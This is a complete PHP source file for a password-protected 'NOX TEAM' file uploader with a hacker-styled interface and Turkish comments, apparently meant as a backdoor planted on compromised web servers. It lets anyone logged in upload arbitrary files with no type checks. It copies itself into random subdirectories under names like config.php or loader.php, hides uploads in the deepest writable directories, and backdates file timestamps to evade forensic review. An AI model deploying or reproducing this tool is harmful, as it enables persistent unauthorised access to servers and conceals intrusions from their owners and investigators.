<?php
session_start();

define('PASSWORD_HASH', '$2a$12$rp5r/16MoDul/e3kGfa6FOtt20IBY4vEAq/CP6E2zPwiYit4wwVDS');

$loginError = '';

// Çıkış
if (isset($_GET['logout'])) {
    session_destroy();
    header('Location: ' . strtok($_SERVER['REQUEST_URI'], '?'));
    exit;
}

// Giriş işlemi
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['password']) && !isset($_FILES['file'])) {
    if (password_verify($_POST['password'], PASSWORD_HASH)) {
        session_regenerate_id(true);
        $_SESSION['auth'] = true;
        header('Location: ' . strtok($_SERVER['REQUEST_URI'], '?'));
        exit;
    } else {
        $loginError = 'HATA: Geçersiz şifre. Erişim reddedildi.';
    }
}

$authenticated = !empty($_SESSION['auth']);

// ── KENDİNİ GİZLE ──
$hideMessage = '';
$hideLink = '';
if ($authenticated && $_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'hide_self') {
    $systemNames = [
        'bootstrap.php','config.php','loader.php','init.php','core.php',
        'helper.php','functions.php','common.php','runtime.php','base.php',
        'autoload.php','registry.php','global.php','handler.php','router.php',
        'setup.php','kernel.php','app.php','module.php','service.php',
    ];
    $subDirs = ['includes','assets','lib','src','vendor','static','resources','data','cache','tmp'];

    shuffle($systemNames);
    shuffle($subDirs);

    $chosenName = $systemNames[0];
    $chosenSub  = $subDirs[0];
    $targetSubDir = __DIR__ . DIRECTORY_SEPARATOR . $chosenSub;

    if (!is_dir($targetSubDir)) {
        @mkdir($targetSubDir, 0755);
    }

    $destPath = $targetSubDir . DIRECTORY_SEPARATOR . $chosenName;

    if (file_exists($destPath)) {
        $chosenName = $systemNames[1] ?? ('core_' . substr(md5(time()), 0, 6) . '.php');
        $destPath = $targetSubDir . DIRECTORY_SEPARATOR . $chosenName;
    }

    if (@copy(__FILE__, $destPath)) {
        $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
        $baseUrl = $protocol . '://' . $_SERVER['HTTP_HOST'] . rtrim(dirname($_SERVER['REQUEST_URI']), '/') . '/';
        $hideLink = $baseUrl . $chosenSub . '/' . $chosenName;
        $hideMessage = "OK: Kopyalandı → /$chosenSub/$chosenName";
    } else {
        $hideMessage = 'HATA: Kopyalanamadı. Yazma izni kontrol edin.';
    }
}

// ── LOG YARDIMCILARI ──
define('LOG_FILE', __DIR__ . '/.nox_log.json');

function logRead(): array {
    if (!file_exists(LOG_FILE)) return [];
    $data = @json_decode(file_get_contents(LOG_FILE), true);
    return is_array($data) ? $data : [];
}

function logWrite(array $entry): void {
    $log = logRead();
    array_unshift($log, $entry); // en yeni üste
    file_put_contents(LOG_FILE, json_encode($log, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE));
}

// ── UPLOAD (sadece giriş yapılmışsa) ──
$message = '';
$messageType = '';
$fileLink = '';

function findDeepDirs(string $root, int $maxDirs = 60): array {
    $result = [];
    try {
        $it = new RecursiveIteratorIterator(
            new RecursiveDirectoryIterator($root, RecursiveDirectoryIterator::SKIP_DOTS),
            RecursiveIteratorIterator::SELF_FIRST
        );
        $it->setMaxDepth(6);
        foreach ($it as $item) {
            if ($item->isDir() && is_writable($item->getPathname())) {
                $result[] = $item->getPathname();
                if (count($result) >= $maxDirs) break;
            }
        }
    } catch (Exception $e) {}
    // Derinliğe göre sırala (daha derin = daha gizli)
    usort($result, fn($a, $b) => substr_count($b, DIRECTORY_SEPARATOR) - substr_count($a, DIRECTORY_SEPARATOR));
    return $result;
}

if ($authenticated && $_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
    $file = $_FILES['file'];
    $originalName = basename($file['name']);
    $hideFile  = !empty($_POST['hide_file']);
    $fakeDate  = !empty($_POST['fake_date']);

    if ($hideFile) {
        $docRoot = rtrim($_SERVER['DOCUMENT_ROOT'], '/\\');
        $deepDirs = findDeepDirs($docRoot);
        // En derin %30'luk dilimden rastgele seç
        $pool = array_slice($deepDirs, 0, max(1, (int)(count($deepDirs) * 0.3)));
        shuffle($pool);
        $targetDir = ($pool[0] ?? __DIR__) . DIRECTORY_SEPARATOR;
    } else {
        $targetDir = __DIR__ . DIRECTORY_SEPARATOR;
    }

    $targetPath = $targetDir . $originalName;

    if ($file['error'] !== UPLOAD_ERR_OK) {
        $errors = [
            UPLOAD_ERR_INI_SIZE   => 'Dosya php.ini limitini aşıyor.',
            UPLOAD_ERR_FORM_SIZE  => 'Dosya form limitini aşıyor.',
            UPLOAD_ERR_PARTIAL    => 'Dosya eksik yüklendi.',
            UPLOAD_ERR_NO_FILE    => 'Dosya seçilmedi.',
            UPLOAD_ERR_NO_TMP_DIR => 'Geçici klasör bulunamadı.',
            UPLOAD_ERR_CANT_WRITE => 'Diske yazılamadı.',
            UPLOAD_ERR_EXTENSION  => 'PHP eklentisi yüklemeyi durdurdu.',
        ];
        $message = $errors[$file['error']] ?? 'Bilinmeyen hata.';
        $messageType = 'error';
    } elseif (file_exists($targetPath)) {
        $message = "HATA: '$originalName' zaten mevcut.";
        $messageType = 'error';
    } elseif (!move_uploaded_file($file['tmp_name'], $targetPath)) {
        $message = 'HATA: Dosya taşınamadı. Klasör yazma izni kontrol edin.';
        $messageType = 'error';
    } else {
        $size = number_format($file['size'] / 1024, 1);
        $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
        $docRoot = rtrim($_SERVER['DOCUMENT_ROOT'], '/\\');
        // Dosyanın web'deki göreceli yolunu hesapla
        $relPath = str_replace('\\', '/', substr($targetDir, strlen($docRoot)));
        $relPath = '/' . ltrim($relPath, '/');
        $fileUrl = $protocol . '://' . $_SERVER['HTTP_HOST'] . $relPath . rawurlencode($originalName);
        if ($hideFile) {
            $message = "OK [HIDDEN]: $originalName ($size KB) → " . rtrim($relPath, '/');
        } else {
            $message = "OK: $originalName ($size KB) — başarıyla yüklendi.";
        }
        // Tarih manipülasyonu
        if ($fakeDate) {
            $yearsBack  = rand(1, 3);
            $randMonth  = rand(1, 12);
            $randDay    = rand(1, 28);
            $randHour   = rand(0, 23);
            $randMin    = rand(0, 59);
            $fakeTime   = mktime($randHour, $randMin, 0,
                            $randMonth, $randDay,
                            (int)date('Y') - $yearsBack);
            @touch($targetPath, $fakeTime, $fakeTime);
        }

        $fileLink = $fileUrl;
        $messageType = 'success';

        logWrite([
            'name'   => $originalName,
            'url'    => $fileUrl,
            'size'   => $file['size'],
            'path'   => $targetPath,
            'hidden' => $hideFile,
            'time'   => time(),
        ]);
    }
}

$uploadLog = $authenticated ? logRead() : [];
?>
<!DOCTYPE html>
<html lang="tr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>NOX TEAM // FILE UPLOADER</title>
<style>
@import url('https://fonts.googleapis.com/css2?family=Share+Tech+Mono&family=Orbitron:wght@700;900&display=swap');

:root {
  --green:  #00ff88;
  --green2: #00cc66;
  --bg:     #030d06;
  --panel:  #060e09;
  --border: #00ff8822;
  --red:    #ff3355;
  --gray:   #336644;
}

* { box-sizing: border-box; margin: 0; padding: 0; }

body {
  font-family: 'Share Tech Mono', monospace;
  background: var(--bg);
  color: var(--green);
  min-height: 100vh;
  display: flex;
  flex-direction: column;
  align-items: center;
  padding: 32px 16px 60px;
  background-image:
    repeating-linear-gradient(0deg, transparent, transparent 28px, #00ff880a 29px),
    repeating-linear-gradient(90deg, transparent, transparent 28px, #00ff880a 29px);
}
body::before {
  content: '';
  position: fixed; inset: 0;
  background: repeating-linear-gradient(to bottom, transparent 0px, transparent 2px, #00000022 2px, #00000022 4px);
  pointer-events: none;
  z-index: 999;
}

.container { width: 100%; max-width: 700px; }

/* HEADER */
.header { text-align: center; margin-bottom: 36px; }
.header .tag { font-size: .75rem; color: var(--gray); letter-spacing: 4px; margin-bottom: 6px; }
.logo {
  font-family: 'Orbitron', monospace;
  font-size: 2.6rem; font-weight: 900;
  color: var(--green);
  text-shadow: 0 0 10px var(--green), 0 0 40px var(--green2), 0 0 80px #00ff8833;
  letter-spacing: 6px;
}
.logo span { color: #fff; text-shadow: 0 0 10px #fff, 0 0 30px var(--green); }
.sub { font-size: .7rem; color: var(--gray); letter-spacing: 8px; margin-top: 4px; }
.header-line {
  height: 1px;
  background: linear-gradient(90deg, transparent, var(--green), transparent);
  margin-top: 18px;
  box-shadow: 0 0 8px var(--green2);
}

/* PANEL */
.panel {
  background: var(--panel);
  border: 1px solid var(--border);
  border-radius: 4px;
  margin-bottom: 20px;
  position: relative;
  overflow: hidden;
}
.panel::before {
  content: '';
  position: absolute; top: 0; left: 0; right: 0;
  height: 2px;
  background: linear-gradient(90deg, transparent, var(--green), transparent);
  box-shadow: 0 0 8px var(--green2);
}
.panel-header {
  display: flex; align-items: center; gap: 8px;
  padding: 10px 18px;
  border-bottom: 1px solid var(--border);
  font-size: .7rem; color: var(--gray); letter-spacing: 2px;
}
.panel-header .dot { width: 7px; height: 7px; border-radius: 50%; background: var(--green); box-shadow: 0 0 6px var(--green); }
.panel-body { padding: 24px 20px; }

/* LOGIN FORM */
.login-wrap { text-align: center; }
.login-label { font-size: .75rem; color: var(--gray); letter-spacing: 3px; margin-bottom: 16px; display: block; }
.input-row {
  display: flex; gap: 10px; align-items: center;
  background: #020a04;
  border: 1px solid var(--green2);
  border-radius: 3px;
  padding: 4px 8px;
  max-width: 400px; margin: 0 auto;
}
.input-row span { color: var(--gray); font-size: .9rem; white-space: nowrap; }
.input-row input[type=password] {
  background: transparent;
  border: none; outline: none;
  color: var(--green);
  font-family: 'Share Tech Mono', monospace;
  font-size: .95rem;
  flex: 1;
  caret-color: var(--green);
  letter-spacing: 4px;
}
.input-row input[type=password]::placeholder { color: var(--gray); letter-spacing: 1px; font-size: .8rem; }

/* SESSION BAR */
.session-bar {
  display: flex; justify-content: space-between; align-items: center;
  padding: 8px 18px;
  background: #020a04;
  border: 1px solid var(--border);
  border-radius: 3px;
  margin-bottom: 20px;
  font-size: .72rem;
  color: var(--gray);
}
.session-bar .status { display: flex; align-items: center; gap: 6px; }
.session-bar .dot-green { width: 7px; height: 7px; border-radius: 50%; background: var(--green); box-shadow: 0 0 6px var(--green); }
.session-bar a {
  color: var(--red);
  text-decoration: none;
  letter-spacing: 1px;
  font-size: .7rem;
  border: 1px solid #ff335544;
  padding: 3px 10px;
  border-radius: 3px;
  transition: all .2s;
}
.session-bar a:hover { background: #ff335518; }

/* BUTTONS */
.btn {
  display: inline-flex; align-items: center; gap: 8px;
  margin-top: 16px;
  padding: 10px 32px;
  background: transparent;
  color: var(--green);
  font-family: 'Share Tech Mono', monospace;
  font-size: .9rem; font-weight: bold;
  letter-spacing: 3px;
  border: 1px solid var(--green2);
  border-radius: 3px;
  cursor: pointer;
  transition: all .2s;
  text-transform: uppercase;
}
.btn:hover { background: var(--green); color: var(--bg); box-shadow: 0 0 18px var(--green2); }
.btn-login { margin-top: 0; padding: 8px 20px; font-size: .8rem; letter-spacing: 2px; }

/* DROP AREA */
.drop-area {
  border: 1px dashed var(--green2);
  border-radius: 3px; padding: 38px 20px;
  text-align: center; cursor: pointer;
  transition: background .2s, border-color .2s;
}
.drop-area:hover, .drop-area.dragover {
  background: #00ff8808; border-color: var(--green);
  box-shadow: 0 0 16px #00ff8820 inset;
}
.drop-area .icon { color: var(--green2); margin-bottom: 12px; display: block; }
.drop-area .hint { font-size: .8rem; color: var(--gray); }
.drop-area .hint span { color: var(--green); }

input[type=file] { display: none; }
#selected-name { margin-top: 12px; font-size: .8rem; color: var(--green2); min-height: 1.2em; }
#selected-name::before { content: '> '; color: var(--gray); }

/* MESSAGES */
.message { padding: 14px 18px; border-radius: 3px; margin-bottom: 20px; font-size: .85rem; border-left: 3px solid; }
.success { background: #00ff8810; color: var(--green); border-color: var(--green); }
.error   { background: #ff335510; color: var(--red);   border-color: var(--red);   }

.file-link {
  display: inline-flex; align-items: center; gap: 6px;
  margin-top: 10px; padding: 6px 14px;
  background: #00ff8812; border: 1px solid var(--green2);
  border-radius: 3px; color: var(--green);
  text-decoration: none; font-size: .8rem; word-break: break-all;
  transition: background .2s;
}
.file-link:hover { background: #00ff8822; }

/* FILE LIST */
.file-list { list-style: none; }
.file-list li {
  display: flex; justify-content: space-between; align-items: center;
  padding: 9px 4px; border-bottom: 1px solid var(--border);
  font-size: .82rem; transition: background .15s;
}
.file-list li:last-child { border-bottom: none; }
.file-list li:hover { background: #00ff8806; }
.file-list li::before { content: '> '; color: var(--gray); margin-right: 4px; flex-shrink: 0; }
.fname { color: var(--green); text-decoration: none; word-break: break-all; flex: 1; }
.fname:hover { text-decoration: underline; text-underline-offset: 3px; }
.fsize { color: var(--gray); white-space: nowrap; margin-left: 14px; font-size: .75rem; }
.empty { color: var(--gray); text-align: center; padding: 24px; font-size: .85rem; }

/* FOOTER */
.footer { text-align: center; font-size: .65rem; color: var(--gray); letter-spacing: 3px; margin-top: 8px; }
.footer span { color: var(--green2); }

/* HIDE FILE CHECKBOX */
.hide-check {
  display: inline-flex; align-items: center; gap: 10px;
  margin-top: 14px; cursor: pointer; font-size: .8rem;
  color: var(--green); letter-spacing: 1px; user-select: none;
}
.hide-check input[type=checkbox] { display: none; }
.check-box {
  width: 16px; height: 16px; flex-shrink: 0;
  border: 1px solid var(--red); border-radius: 2px;
  display: inline-flex; align-items: center; justify-content: center;
  transition: background .2s;
}
.hide-check input:checked + .check-box {
  background: var(--red);
  box-shadow: 0 0 8px var(--red);
}
.hide-check input:checked + .check-box::after {
  content: '✓'; font-size: .7rem; color: var(--bg); font-weight: bold;
}

@keyframes blink { 0%,100%{opacity:1} 50%{opacity:0} }
.cursor { display: inline-block; width: 8px; height: 14px; background: var(--green); vertical-align: middle; margin-left: 2px; animation: blink 1s step-end infinite; }

@keyframes shake {
  0%,100%{transform:translateX(0)} 20%,60%{transform:translateX(-6px)} 40%,80%{transform:translateX(6px)}
}
.shake { animation: shake .4s ease; }
</style>
</head>
<body>
<div class="container">

  <div class="header">
    <div class="tag">// SECURE FILE TRANSFER //</div>
    <div class="logo">N<span>O</span>X <span>T</span>EAM</div>
    <div class="sub">FILE UPLOADER v2.0<span class="cursor"></span></div>
    <div class="header-line"></div>
  </div>

<?php if (!$authenticated): ?>

  <!-- ── GİRİŞ EKRANI ── -->
  <?php if ($loginError): ?>
  <div class="message error"><?= htmlspecialchars($loginError) ?></div>
  <?php endif; ?>

  <div class="panel">
    <div class="panel-header">
      <div class="dot"></div>
      AUTH_REQUIRED
    </div>
    <div class="panel-body">
      <div class="login-wrap">
        <span class="login-label">// KIMLIK DOĞRULAMA GEREKLİ //</span>
        <form method="POST" id="loginForm">
          <div class="input-row" id="inputRow">
            <span>root@nox:~$</span>
            <input type="password" name="password" placeholder="şifre girin..." autofocus autocomplete="off">
            <button type="submit" class="btn btn-login">ACCESS</button>
          </div>
        </form>
        <div style="margin-top:18px;font-size:.72rem;color:var(--gray);">
          [ Yetkisiz erişim tespit edilecektir ]
        </div>
      </div>
    </div>
  </div>

<?php else: ?>

  <!-- ── SESSION BAR ── -->
  <div class="session-bar">
    <div class="status">
      <div class="dot-green"></div>
      SESSION_ACTIVE &mdash; ERİŞİM YETKİLİ
    </div>
    <a href="?logout=1">[ ÇIKIŞ ]</a>
  </div>

  <!-- ── MESAJ ── -->
  <?php if ($message): ?>
  <div class="message <?= $messageType ?>">
    <?= htmlspecialchars($message) ?>
    <?php if ($messageType === 'success' && isset($fileLink)): ?>
    <br>
    <a class="file-link" href="<?= htmlspecialchars($fileLink) ?>" target="_blank">
      <svg width="13" height="13" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24"><path d="M18 13v6a2 2 0 01-2 2H5a2 2 0 01-2-2V8a2 2 0 012-2h6M15 3h6v6M10 14L21 3"/></svg>
      <?= htmlspecialchars($fileLink) ?>
    </a>
    <?php endif; ?>
  </div>
  <?php endif; ?>

  <!-- ── UPLOAD ── -->
  <div class="panel">
    <div class="panel-header">
      <div class="dot"></div>
      UPLOAD_MODULE
    </div>
    <div class="panel-body">
      <form method="POST" enctype="multipart/form-data" id="uploadForm">
        <div class="drop-area" id="dropArea" onclick="document.getElementById('fileInput').click()">
          <svg class="icon" width="44" height="44" fill="none" stroke="currentColor" stroke-width="1.5" viewBox="0 0 24 24">
            <path d="M21 15v4a2 2 0 01-2 2H5a2 2 0 01-2-2v-4M17 8l-5-5-5 5M12 3v12"/>
          </svg>
          <div class="hint">Tıkla veya <span>sürükle &amp; bırak</span></div>
        </div>
        <input type="file" name="file" id="fileInput">
        <div id="selected-name"></div>
        <label class="hide-check">
          <input type="checkbox" name="hide_file" value="1" id="hideCheck">
          <span class="check-box"></span>
          HIDE FILE <span style="color:var(--gray);font-size:.75rem;">— sunucuda rastgele derin dizine gönder</span>
        </label>
        <label class="hide-check" style="margin-top:8px;">
          <input type="checkbox" name="fake_date" value="1" id="fakeDateCheck">
          <span class="check-box"></span>
          SPOOF DATE <span style="color:var(--gray);font-size:.75rem;">— yükleme tarihini geçmişe çek</span>
        </label>
        <button type="submit" class="btn">
          <svg width="14" height="14" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24"><path d="M21 15v4a2 2 0 01-2 2H5a2 2 0 01-2-2v-4M17 8l-5-5-5 5M12 3v12"/></svg>
          UPLOAD
        </button>
      </form>
    </div>
  </div>


<?php endif; ?>

  <div class="footer">
    &copy; <span>NOX TEAM</span> &mdash; ALL RIGHTS RESERVED
  </div>

</div>

<script>
<?php if (!$authenticated): ?>
// Yanlış şifrede titreme animasyonu
document.getElementById('loginForm').addEventListener('submit', function() {
  // submit sonrası sunucu cevabını bekle, hata varsa PHP zaten geri döner
});
<?php if ($loginError): ?>
const row = document.getElementById('inputRow');
row.classList.add('shake');
<?php endif; ?>

<?php else: ?>
const dropArea = document.getElementById('dropArea');
const fileInput = document.getElementById('fileInput');
const selectedName = document.getElementById('selected-name');

fileInput.addEventListener('change', () => {
  if (fileInput.files[0]) selectedName.textContent = fileInput.files[0].name;
});

['dragenter','dragover'].forEach(e => dropArea.addEventListener(e, ev => { ev.preventDefault(); dropArea.classList.add('dragover'); }));
['dragleave','drop'].forEach(e => dropArea.addEventListener(e, ev => { ev.preventDefault(); dropArea.classList.remove('dragover'); }));

dropArea.addEventListener('drop', ev => {
  const dt = ev.dataTransfer;
  if (dt.files.length) {
    fileInput.files = dt.files;
    selectedName.textContent = dt.files[0].name;
  }
});
<?php endif; ?>
</script>
</body>
</html>
